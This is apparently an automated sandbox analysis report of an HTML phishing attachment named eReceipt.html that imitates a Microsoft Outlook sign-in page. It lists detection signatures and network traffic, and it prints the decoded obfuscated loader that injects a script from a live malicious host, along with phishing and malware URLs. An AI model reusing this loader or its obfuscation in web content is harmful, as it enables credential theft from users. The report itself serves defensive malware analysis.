Edit tour

Windows Analysis Report
eReceipt.html

Overview

General Information

Sample Name:	eReceipt.html
Analysis ID:	1349397
MD5:	6865f1999275a7d00008a7b9594255c6
SHA1:	d1b831bca2766c7d362e46c4fbad8536f8f22495
SHA256:	85982cfb6533fa066ee415563c01369669691ca9750998a5e620cf54387020eb
Infos:

Detection

HTMLPhisher

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Antivirus detection for URL or domain

Detected javascript redirector / loader

HTML file submission containing password form

HTML document with suspicious title

Phishing site detected (based on logo match)

HTML page contains hidden email address

HTML Script injector detected

HTML document with suspicious name

HTML page contains suspicious onload / onerror event

Phishing site detected (based on image similarity)

Detected hidden input values containing email addresses (often used in phishing pages)

Invalid 'forgot password' link found

Creates files inside the system directory

None HTTPS page querying sensitive user data (password, username or email)

No HTML title found

Stores files to the Windows start menu directory

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

JA3 SSL client fingerprint seen in connection with other malware

HTML body with high number of embedded images detected

HTML title does not match URL

IP address seen in connection with other malware

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3176 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\eReceipt.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=2024,i,5062304597566424446,7430477722456066179,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://admin.childdent.ir/installer/host2.4/5777440.php	Avira URL Cloud: Label: phishing
Source: https://admin.childdent.ir/installer/host2.4/admin/js/mf.php?id=W7gRqa	Avira URL Cloud: Label: malware

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Detected javascript redirector / loader

Source: eReceipt.html

HTTP Parser: Low number of body elements: 2

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/eReceipt.html

Tab title: eReceipt.html

Phishing site detected (based on logo match)

Source: file:///C:/Users/user/Desktop/eReceipt.html

Matcher: Template: microsoft matched

HTML page contains hidden email address

Source: eReceipt.html	HTTP Parser: mattb@rdvcorp.com.
Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: mattb@rdvcorp.com.

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: New script, src: https://admin.childdent.ir/installer/host2.4/admin/js/mf.php?id=W7gRqa
Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: New script, src: https://code.jquery.com/jquery-3.1.1.min.js
Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: New script, src: https://code.jquery.com/jquery-3.1.1.min.js

HTML page contains suspicious onload / onerror event

Source: eReceipt.html	HTTP Parser: [].constructor.constructor(atob('cmv0dxjuigv2yww'))()(atob(this.id));
Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: [].constructor.constructor(atob('cmv0dxjuigv2yww'))()(atob(this.id));

Phishing site detected (based on image similarity)

Source: file:///C:/Users/user/Desktop/eReceipt.html

Matcher: Found strong image similarity, brand: MICROSOFT

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: mattb@rdvcorp.com

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: Invalid link: Forgot my password

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: HTML title missing

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: eReceipt.html

HTTP Parser: Base64 decoded: xpOhnX=document;HVdWVU=window[atob("ZG9jdW1lbnQ")][atob("Y3JlYXRlRWxlbWVudA")]("sc" + "ript");HVdWVU["sr" + "c"]="https://admin.childdent.ir/installer/host2.4/admin/js/mf.php?id=W7gRqa";window["doc"+"ume"+"nt"].body.appendChild(HVdWVU);

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: Total embedded image size: 18628

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: Title: Sign in to Outlook does not match URL

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: No <meta name="author".. found

Source: eReceipt.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/eReceipt.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49742 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49747 version: TLS 1.2

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49742 version: TLS 1.0

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157

Source: chromecache_105.2.dr, chromecache_107.2.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_105.2.dr, chromecache_107.2.dr	String found in binary or memory: http://fontawesome.io/license

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4

Source: unknown

DNS traffic detected: queries for: clients2.google.com

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /installer/host2.4/admin/js/mf.php?id=W7gRqa HTTP/1.1Host: admin.childdent.irConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /installer/host2.4/5777440.php HTTP/1.1Host: admin.childdent.irConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /installer/host2.4/5777440.php HTTP/1.1Host: admin.childdent.irConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=2m79b3r1ljshhpbik0buhf0r67
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+dvK68xmpkvnVTl&MD=lsE+SdFr HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+dvK68xmpkvnVTl&MD=lsE+SdFr HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000007CAD7E651E HTTP/1.1Host: clients1.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br

Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49747 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: eReceipt.html

Initial sample: receipt

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_BITS_3176_1567299215

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\eReceipt.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=2024,i,5062304597566424446,7430477722456066179,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=2024,i,5062304597566424446,7430477722456066179,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
